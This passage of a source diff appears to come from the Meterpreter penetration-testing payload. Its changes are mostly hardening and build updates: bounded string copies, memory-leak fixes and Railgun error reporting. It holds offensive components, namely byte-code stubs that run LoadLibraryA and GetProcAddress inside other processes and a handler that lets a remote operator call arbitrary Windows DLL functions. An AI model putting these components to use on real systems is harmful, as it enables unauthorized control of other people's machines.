strncpy(current_connection->protocol, "tcp", sizeof(current_connection->protocol));
|
||||
strncpy((char*)current_connection->state, tcp_connection_states[state], sizeof(current_connection->state) - 1);
|
||||
strncpy((char*)current_connection->protocol, "tcp", sizeof(current_connection->protocol) - 1);
|
||||
|
||||
// force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
|
||||
strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
|
||||
strncpy((char*)current_connection->program_name, "-", sizeof(current_connection->program_name) - 1);
|
||||
|
||||
set_process_name(currentv4->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
|
||||
set_process_name(currentv4->dwOwningPid, (char*)current_connection->program_name, sizeof(current_connection->program_name) - 1);
|
||||
|
||||
(*table_connection)->entries++;
|
||||
}
|
||||
@ -307,13 +307,13 @@ DWORD windows_get_tcp_table(struct connection_table **table_connection)
|
||||
state = currentv6->dwState;
|
||||
if ((state <= 0) || (state > 12))
|
||||
state = 13; // points to UNKNOWN in the state array
|
||||
strncpy(current_connection->state, tcp_connection_states[state], sizeof(current_connection->state));
|
||||
strncpy(current_connection->protocol, "tcp6", sizeof(current_connection->protocol));
|
||||
strncpy((char*)current_connection->state, tcp_connection_states[state], sizeof(current_connection->state) - 1);
|
||||
strncpy((char*)current_connection->protocol, "tcp6", sizeof(current_connection->protocol) - 1);
|
||||
|
||||
// force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
|
||||
strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
|
||||
strncpy((char*)current_connection->program_name, "-", sizeof(current_connection->program_name) - 1);
|
||||
|
||||
set_process_name(currentv6->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
|
||||
set_process_name(currentv6->dwOwningPid, (char*)current_connection->program_name, sizeof(current_connection->program_name));
|
||||
|
||||
(*table_connection)->entries++;
|
||||
}
|
||||
@ -373,11 +373,11 @@ DWORD windows_get_udp_table_win2000_down(struct connection_table **table_connect
|
||||
current_connection->remote_port = 0;
|
||||
|
||||
// force state to ""
|
||||
strncpy(current_connection->state, "", sizeof(current_connection->state));
|
||||
strncpy(current_connection->protocol, "udp", sizeof(current_connection->protocol));
|
||||
strncpy((char*)current_connection->state, "", sizeof(current_connection->state) - 1);
|
||||
strncpy((char*)current_connection->protocol, "udp", sizeof(current_connection->protocol) - 1);
|
||||
|
||||
// force program_name to "-"
|
||||
strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
|
||||
strncpy((char*)current_connection->program_name, "-", sizeof(current_connection->program_name) - 1);
|
||||
|
||||
(*table_connection)->entries++;
|
||||
}
|
||||
@ -435,13 +435,13 @@ DWORD windows_get_udp_table(struct connection_table **table_connection)
|
||||
current_connection->local_port = ntohs((u_short)(currentv4->dwLocalPort & 0x0000ffff));
|
||||
current_connection->remote_port = 0;
|
||||
|
||||
strncpy(current_connection->state, "", sizeof(current_connection->state));
|
||||
strncpy(current_connection->protocol, "udp", sizeof(current_connection->protocol));
|
||||
strncpy((char*)current_connection->state, "", sizeof(current_connection->state) - 1);
|
||||
strncpy((char*)current_connection->protocol, "udp", sizeof(current_connection->protocol) - 1);
|
||||
|
||||
// force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
|
||||
strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
|
||||
strncpy((char*)current_connection->program_name, "-", sizeof(current_connection->program_name) - 1);
|
||||
|
||||
set_process_name(currentv4->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
|
||||
set_process_name(currentv4->dwOwningPid, (char*)current_connection->program_name, sizeof(current_connection->program_name));
|
||||
|
||||
(*table_connection)->entries++;
|
||||
}
|
||||
@ -474,13 +474,13 @@ DWORD windows_get_udp_table(struct connection_table **table_connection)
|
||||
current_connection->local_port = ntohs((u_short)(currentv6->dwLocalPort & 0x0000ffff));
|
||||
current_connection->remote_port = 0;
|
||||
|
||||
strncpy(current_connection->state, "", sizeof(current_connection->state));
|
||||
strncpy(current_connection->protocol, "udp6", sizeof(current_connection->protocol));
|
||||
strncpy((char*)current_connection->state, "", sizeof(current_connection->state) - 1);
|
||||
strncpy((char*)current_connection->protocol, "udp6", sizeof(current_connection->protocol) - 1);
|
||||
|
||||
// force program_name to "-" and try to get real name through GetOwnerModuleFromXXXEntry
|
||||
strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
|
||||
strncpy((char*)current_connection->program_name, "-", sizeof(current_connection->program_name) - 1);
|
||||
|
||||
set_process_name(currentv6->dwOwningPid, current_connection->program_name, sizeof(current_connection->program_name));
|
||||
set_process_name(currentv6->dwOwningPid, (char*)current_connection->program_name, sizeof(current_connection->program_name));
|
||||
|
||||
(*table_connection)->entries++;
|
||||
}
|
||||
@ -656,15 +656,15 @@ DWORD linux_parse_proc_net_file(char * filename, struct connection_table ** tabl
|
||||
current_connection->uid = uid;
|
||||
current_connection->inode = inode;
|
||||
// protocol such as tcp/tcp6/udp/udp6
|
||||
strncpy(current_connection->protocol, protocol, sizeof(current_connection->protocol));
|
||||
strncpy((char*)current_connection->protocol, protocol, sizeof(current_connection->protocol) - 1);
|
||||
if ((state < 0) && (state > 11))
|
||||
state = 12; // points to UNKNOWN in the table
|
||||
|
||||
// state, number to string : 0x0A --> LISTEN
|
||||
strncpy(current_connection->state, connection_states[state], sizeof(current_connection->state));
|
||||
strncpy((char*)current_connection->state, connection_states[state], sizeof(current_connection->state) - 1);
|
||||
|
||||
// initialize every program_name to "-", will be changed if we find the good info in /proc
|
||||
strncpy(current_connection->program_name, "-", sizeof(current_connection->program_name));
|
||||
strncpy((char*)current_connection->program_name, "-", sizeof(current_connection->program_name) - 1);
|
||||
|
||||
(*table_connection)->entries++;
|
||||
}
|
||||
|
@ -366,7 +366,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
DWORD index = 0;
|
||||
Tlv reqTlv = {0};
|
||||
Tlv tmpTlv = {0};
|
||||
Tlv tlvs[4] = {0};
|
||||
Tlv tlvs[6] = {0};
|
||||
RAILGUN_INPUT rInput = {0};
|
||||
RAILGUN_OUTPUT rOutput = {0};
|
||||
|
||||
@ -381,80 +381,105 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
memset( &rInput, 0, sizeof(RAILGUN_INPUT) );
|
||||
memset( &rOutput, 0, sizeof(RAILGUN_OUTPUT) );
|
||||
|
||||
// get ths inputs for this call...
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS )
|
||||
do
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_SIZE_OUT" );
|
||||
goto cleanup;
|
||||
}
|
||||
// get ths inputs for this call...
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_SIZE_OUT" );
|
||||
break;
|
||||
}
|
||||
|
||||
rInput.dwBufferSizeOUT = ntohl( *(LPDWORD)tmpTlv.buffer );
|
||||
rInput.dwBufferSizeOUT = ntohl( *(LPDWORD)tmpTlv.buffer );
|
||||
|
||||
rInput.pBufferIN = getRawDataCopyFromGroup( packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_IN, (DWORD *)&rInput.dwBufferSizeIN );
|
||||
if( !rInput.pBufferIN )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN" );
|
||||
goto cleanup;
|
||||
}
|
||||
rInput.pBufferIN = getRawDataCopyFromGroup( packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_IN, (DWORD *)&rInput.dwBufferSizeIN );
|
||||
if( !rInput.pBufferIN )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN" );
|
||||
break;
|
||||
}
|
||||
|
||||
rInput.pBufferINOUT = getRawDataCopyFromGroup( packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, (DWORD *)&rInput.dwBufferSizeINOUT );
|
||||
if( !rInput.pBufferINOUT )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT" );
|
||||
goto cleanup;
|
||||
}
|
||||
rInput.pBufferINOUT = getRawDataCopyFromGroup( packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, (DWORD *)&rInput.dwBufferSizeINOUT );
|
||||
if( !rInput.pBufferINOUT )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT is empty" );
|
||||
break;
|
||||
}
|
||||
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_DLLNAME" );
|
||||
goto cleanup;
|
||||
}
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_DLLNAME" );
|
||||
break;
|
||||
}
|
||||
|
||||
rInput.cpDllName = (PCHAR)tmpTlv.buffer;
|
||||
if( !rInput.cpDllName )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_DLLNAME" );
|
||||
goto cleanup;
|
||||
}
|
||||
rInput.cpDllName = (PCHAR)tmpTlv.buffer;
|
||||
if( !rInput.cpDllName )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: TLV_TYPE_RAILGUN_DLLNAME is empty." );
|
||||
break;
|
||||
}
|
||||
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_FUNCNAME" );
|
||||
goto cleanup;
|
||||
}
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_FUNCNAME" );
|
||||
break;
|
||||
}
|
||||
|
||||
rInput.cpFuncName = (PCHAR)tmpTlv.buffer;
|
||||
if( !rInput.cpFuncName )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_FUNCNAME" );
|
||||
goto cleanup;
|
||||
}
|
||||
rInput.cpFuncName = (PCHAR)tmpTlv.buffer;
|
||||
if( !rInput.cpFuncName )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: TLV_TYPE_RAILGUN_FUNCNAME is empty." );
|
||||
break;
|
||||
}
|
||||
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: packet_get_tlv_group_entry failed" );
|
||||
goto cleanup;
|
||||
}
|
||||
rInput.cpCallConv = "stdcall";
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_CALLCONV, defaulting to stdcall" );
|
||||
}
|
||||
else if( tmpTlv.buffer )
|
||||
{
|
||||
rInput.cpCallConv = (PCHAR)tmpTlv.buffer;
|
||||
}
|
||||
|
||||
dwResult = railgun_call( &rInput, &rOutput );
|
||||
if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: packet_get_tlv_group_entry failed" );
|
||||
break;
|
||||
}
|
||||
|
||||
// time to ship stuff back
|
||||
tlvs[0].header.length = sizeof(DWORD);
|
||||
tlvs[0].header.type = TLV_TYPE_RAILGUN_BACK_ERR;
|
||||
tlvs[0].buffer = (PUCHAR)&rOutput.dwLastError;
|
||||
tlvs[1].header.length = sizeof(QWORD);
|
||||
tlvs[1].header.type = TLV_TYPE_RAILGUN_BACK_RET;
|
||||
tlvs[1].buffer = (PUCHAR)&rOutput.qwReturnValue;
|
||||
tlvs[2].header.length = (DWORD)rOutput.dwBufferSizeOUT;
|
||||
tlvs[2].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT;
|
||||
tlvs[2].buffer = (PUCHAR)rOutput.pBufferOUT;
|
||||
tlvs[3].header.length = (DWORD)rOutput.dwBufferSizeINOUT;
|
||||
tlvs[3].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT;
|
||||
tlvs[3].buffer = (PUCHAR)rOutput.pBufferINOUT;
|
||||
dwResult = railgun_call( &rInput, &rOutput );
|
||||
|
||||
packet_add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, 4 );
|
||||
// time to ship stuff back
|
||||
tlvs[0].header.length = sizeof(DWORD);
|
||||
tlvs[0].header.type = TLV_TYPE_RESULT;
|
||||
tlvs[0].buffer = (PUCHAR)&dwResult;
|
||||
|
||||
cleanup:
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
{
|
||||
rOutput.dwLastError = htonl( rOutput.dwLastError );
|
||||
rOutput.qwReturnValue = htonq( rOutput.qwReturnValue );
|
||||
|
||||
tlvs[1].header.length = sizeof(DWORD);
|
||||
tlvs[1].header.type = TLV_TYPE_RAILGUN_BACK_ERR;
|
||||
tlvs[1].buffer = (PUCHAR)&rOutput.dwLastError;
|
||||
tlvs[2].header.length = sizeof(QWORD);
|
||||
tlvs[2].header.type = TLV_TYPE_RAILGUN_BACK_RET;
|
||||
tlvs[2].buffer = (PUCHAR)&rOutput.qwReturnValue;
|
||||
tlvs[3].header.length = (DWORD)rOutput.dwBufferSizeOUT;
|
||||
tlvs[3].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT;
|
||||
tlvs[3].buffer = (PUCHAR)rOutput.pBufferOUT;
|
||||
tlvs[4].header.length = (DWORD)rOutput.dwBufferSizeINOUT;
|
||||
tlvs[4].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT;
|
||||
tlvs[4].buffer = (PUCHAR)rOutput.pBufferINOUT;
|
||||
tlvs[5].header.length = (DWORD)strlen(rOutput.pErrMsg) + 1;
|
||||
tlvs[5].header.type = TLV_TYPE_RAILGUN_BACK_MSG;
|
||||
tlvs[5].buffer = (PUCHAR)rOutput.pErrMsg;
|
||||
}
|
||||
|
||||
packet_add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 );
|
||||
|
||||
} while(0);
|
||||
|
||||
if( rInput.pBufferIN )
|
||||
free( rInput.pBufferIN );
|
||||
@ -464,9 +489,14 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet )
|
||||
|
||||
if( rOutput.pBufferOUT )
|
||||
free( rOutput.pBufferOUT );
|
||||
|
||||
// FormatMessage calls that use the FORMAT_MESSAGE_ALLOCATE_BUFFER flag allocate memory using LocalAlloc().
|
||||
// We need to free this memory up here to prevent leaks.
|
||||
if ( rOutput.pErrMsg != NULL )
|
||||
LocalFree( (HLOCAL)rOutput.pErrMsg );
|
||||
}
|
||||
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
||||
|
||||
dprintf( "[RAILGUN] request_railgun_api_multi: Finished." );
|
||||
|
||||
@ -480,6 +510,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
Packet * pResponse = NULL;
|
||||
RAILGUN_INPUT rInput = {0};
|
||||
RAILGUN_OUTPUT rOutput = {0};
|
||||
const char* pErrorMsg = NULL;
|
||||
|
||||
dprintf("[RAILGUN] request_railgun_api: Starting...");
|
||||
|
||||
@ -538,18 +569,23 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
packet_add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue );
|
||||
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT );
|
||||
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT );
|
||||
packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, rOutput.pErrMsg );
|
||||
|
||||
// There are cases where FormatMessage is failing for various functions on various platforms.
|
||||
// eg. inet_addr() on Windows XP SP3 x86 and NetGetJoinInformation() on Windows 8 x64
|
||||
// This code makes sure that a valid string is used when returning information back to the caller.
|
||||
if( rOutput.pErrMsg )
|
||||
{
|
||||
pErrorMsg = rOutput.pErrMsg;
|
||||
} else if( rOutput.dwLastError == ERROR_SUCCESS ) {
|
||||
pErrorMsg = "The operation completed successfully.";
|
||||
} else {
|
||||
pErrorMsg = "FormatMessage failed to retrieve the error.";
|
||||
}
|
||||
|
||||
packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg );
|
||||
}
|
||||
|
||||
dwResult = packet_transmit( pRemote, pResponse, NULL );
|
||||
|
||||
// FormatMessage calls that use the FORMAT_MESSAGE_ALLOCATE_BUFFER flag allocate memory using LocalAlloc().
|
||||
// We need to free this memory up here to prevent leaks.
|
||||
if ( rOutput.pErrMsg != NULL )
|
||||
{
|
||||
LocalFree( (HLOCAL)rOutput.pErrMsg );
|
||||
rOutput.pErrMsg = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if( rInput.pBufferIN )
|
||||
@ -561,6 +597,11 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
if( rOutput.pBufferOUT )
|
||||
free( rOutput.pBufferOUT );
|
||||
|
||||
// FormatMessage calls that use the FORMAT_MESSAGE_ALLOCATE_BUFFER flag allocate memory using LocalAlloc().
|
||||
// We need to free this memory up here to prevent leaks.
|
||||
if ( rOutput.pErrMsg != NULL )
|
||||
LocalFree( (HLOCAL)rOutput.pErrMsg );
|
||||
|
||||
dprintf("[RAILGUN] request_railgun_api: Finished.");
|
||||
|
||||
return dwResult;
|
||||
|
@ -21,6 +21,7 @@
|
||||
#define TLV_TYPE_RAILGUN_CALLCONV MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_RAILGUN, TLV_EXTENSIONS + 15 )
|
||||
#define TLV_TYPE_RAILGUN_BACK_MSG MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_RAILGUN, TLV_EXTENSIONS + 16 )
|
||||
|
||||
|
||||
typedef struct _RAILGUN_INPUT
|
||||
{
|
||||
const char * cpDllName;
|
||||
|
@ -199,7 +199,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
|
||||
Packet *response = packet_create_response(packet);
|
||||
HMODULE *modules = NULL;
|
||||
BOOLEAN valid = FALSE;
|
||||
HANDLE psapi = NULL;
|
||||
HMODULE psapi = NULL;
|
||||
HANDLE handle;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD needed = 0, actual, tries = 0;
|
||||
@ -351,6 +351,7 @@ DWORD remote_load_library(HANDLE process, LPCSTR image, HMODULE *base)
|
||||
LoadLibraryContext *context = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD contextSize = 0;
|
||||
DWORD imagePathSize = 0;
|
||||
BYTE loadLibraryStub[] =
|
||||
"\x8b\x54\x24\x04" // see load_library_stub
|
||||
"\x8d\x5a\x04"
|
||||
@ -361,7 +362,8 @@ DWORD remote_load_library(HANDLE process, LPCSTR image, HMODULE *base)
|
||||
do
|
||||
{
|
||||
// Calculate the size of the context we'll be passing
|
||||
contextSize = (DWORD)strlen(image) + 1 + sizeof(LoadLibraryContext);
|
||||
imagePathSize = (DWORD)strlen(image) + 1;
|
||||
contextSize = imagePathSize + sizeof(LoadLibraryContext);
|
||||
|
||||
if (!(context = (LoadLibraryContext *)malloc(contextSize)))
|
||||
{
|
||||
@ -373,7 +375,7 @@ DWORD remote_load_library(HANDLE process, LPCSTR image, HMODULE *base)
|
||||
context->loadLibraryAddress = (PVOID)GetProcAddress(
|
||||
GetModuleHandle("kernel32"), "LoadLibraryA");
|
||||
|
||||
strcpy(context->imagePath, image);
|
||||
strcpy_s(context->imagePath, imagePathSize, image);
|
||||
|
||||
// Execute the LoadLibraryA stub
|
||||
result = execute_code_stub_in_process(process, (PVOID)loadLibraryStub,
|
||||
@ -398,6 +400,7 @@ DWORD remote_get_proc_address(HANDLE process, HMODULE module,
|
||||
GetProcAddressContext *context = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD contextSize = 0;
|
||||
DWORD symbolSize = 0;
|
||||
BYTE getProcAddressStub[] =
|
||||
"\x8b\x54\x24\x04" // see unload_library_stub
|
||||
"\x8b\x5a\x04"
|
||||
@ -410,7 +413,8 @@ DWORD remote_get_proc_address(HANDLE process, HMODULE module,
|
||||
do
|
||||
{
|
||||
// Calculate the size of the context we'll be passing
|
||||
contextSize = strlen(symbol) + 1 + sizeof(GetProcAddressContext);
|
||||
symbolSize = (DWORD)strlen(symbol) + 1;
|
||||
contextSize = symbolSize + sizeof(GetProcAddressContext);
|
||||
|
||||
if (!(context = (GetProcAddressContext *)malloc(contextSize)))
|
||||
{
|
||||
@ -423,7 +427,7 @@ DWORD remote_get_proc_address(HANDLE process, HMODULE module,
|
||||
GetModuleHandle("kernel32"), "GetProcAddress");
|
||||
context->module = module;
|
||||
|
||||
strcpy(context->symbol, symbol);
|
||||
strcpy_s(context->symbol, symbolSize, symbol);
|
||||
|
||||
// Execute the LoadLibraryA stub
|
||||
result = execute_code_stub_in_process(process, (PVOID)getProcAddressStub,
|
||||
|
@ -308,7 +308,7 @@ BOOL ps_getpath( DWORD pid, char * cpExePath, DWORD dwExePathSize, char * cpExeN
|
||||
{
|
||||
name = strrchr( cpExePath, '\\' );
|
||||
if( name )
|
||||
strncpy( cpExeName, name+1, dwExeNameSize );
|
||||
strncpy( cpExeName, name+1, dwExeNameSize - 1 );
|
||||
}
|
||||
success = TRUE;
|
||||
}
|
||||
@ -639,6 +639,9 @@ void parse_status(char * buffer, struct info_process * info) {
|
||||
strncpy(info->name, str+strlen(NAME), sizeof(info->name)-1);
|
||||
|
||||
if ( strncmp(str, STATE, strlen(STATE)) == 0 ) {
|
||||
// TODO: rather than use strncpy for 1 char, why can't
|
||||
// we just write the one char given the state is already zeroed?
|
||||
// info->state[0] = str[strlen(STATE)];
|
||||
strncpy(info->state, str+strlen(STATE), 1); // want only 1 char
|
||||
}
|
||||
|
||||
|
@ -420,9 +420,8 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet)
|
||||
continue;
|
||||
|
||||
// Validate them
|
||||
if ((packet_is_tlv_null_terminated(packet,
|
||||
&nameTlv) != ERROR_SUCCESS) ||
|
||||
(valueTlv.header.length < sizeof(ULONG)))
|
||||
if ((packet_is_tlv_null_terminated(&nameTlv) != ERROR_SUCCESS)
|
||||
|| (valueTlv.header.length < sizeof(ULONG)))
|
||||
continue;
|
||||
|
||||
// Stash them
|
||||
|
@ -562,7 +562,7 @@ HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength)
|
||||
do
|
||||
{
|
||||
// The name of the library to load it as
|
||||
strncpy(ctx->libname, shortName, sizeof(ctx->libname));
|
||||
strncpy(ctx->libname, shortName, sizeof(ctx->libname) - 1);
|
||||
ctx->liblen = (int)strlen(ctx->libname) + 1;
|
||||
|
||||
// The address of the raw buffer
|
||||
|
BIN
c/meterpreter/tools/doxygen/doxygen.exe
Normal file
BIN
c/meterpreter/tools/doxygen/doxygen.exe
Normal file
Binary file not shown.
BIN
c/meterpreter/tools/doxygen/doxyindexer.exe
Normal file
BIN
c/meterpreter/tools/doxygen/doxyindexer.exe
Normal file
Binary file not shown.
BIN
c/meterpreter/tools/doxygen/doxysearch.cgi
Normal file
BIN
c/meterpreter/tools/doxygen/doxysearch.cgi
Normal file
Binary file not shown.
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -44,45 +44,45 @@
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -28,27 +28,27 @@
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
